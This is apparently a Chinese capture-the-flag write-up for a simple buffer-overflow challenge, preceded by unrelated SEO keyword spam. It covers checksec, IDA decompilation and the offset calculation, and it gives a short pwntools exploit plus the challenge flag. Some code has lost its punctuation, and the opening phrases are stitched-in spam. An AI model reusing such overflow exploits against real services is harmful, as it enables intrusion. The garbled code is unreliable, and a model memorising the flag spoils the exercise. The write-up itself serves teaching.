上海做营销网站哪个公司好,做行业网站能赚钱吗,黄骅市属于哪个省市,seo单词优化使用checksec查看ELF文件信息
checksec 4f2f44c9471d4dc2b59768779e378282 这里只需要注意两个重点#xff1a;
Arch#xff1a;64bit的文件#xff0c;后面写exp的重点
Stack#xff1a;No canary found 没有栈溢出保护 使用IDA对ELF文件进行反汇编
双击左侧的函数栏…使用checksec查看ELF文件信息
checksec 4f2f44c9471d4dc2b59768779e378282 这里只需要注意两个重点
Arch64bit的文件后面写exp的重点
StackNo canary found 没有栈溢出保护 使用IDA对ELF文件进行反汇编
双击左侧的函数栏中的main函数 再按F5对main函数进行反汇编
获得C的伪代码
__int64 __fastcall main(int a1, char **a2, char **a3)
{alarm(0x3Cu);setbuf(stdout, 0LL);puts(~~ welcome to ctf ~~ );puts(lets get helloworld for bof);read(0, unk_601068, 0x10uLL);if ( dword_60106C 1853186401 )sub_400686();return 0LL;
} 代码分析 双击sub_400686函数查看具体执行动作 如图 这个函数的作用就是运行系统命令 cat
查看当前目录的flag.txt内容
思路很明显只要想办法使得dword_60106C 1853186401就能查看flag 双击变量dword_60106C 发现read函数中的unk_601068正好在dword_60106C的后第4个字节
PSread(0, unk_601068, 0x10uLL); 在cmd启动python也可以把地址扔进去相减
计算一下字节长度也是一样的算出来四个字节 思路
解题方法很明显了往read函数里扔4个字节的数据
使stack栈溢出字节数正好到dword_60106C的位置
再传入64bit的1853186401整型数就可以了 EXP
把IP地址和端口号换成题目给的
保存为test.py然后运行一下
from pwn import *payload ba*4 p64(1853186401)
#构建字符串使栈溢出connectremote(IP地址,端口号)
#构建连接connect.sendline(payload)
#发送字符串connect.interactive()
#开启shell交互接收回返信息
直接就输出了flag cyberpeace{791d122847943b51a06f5cbe52a37b6b}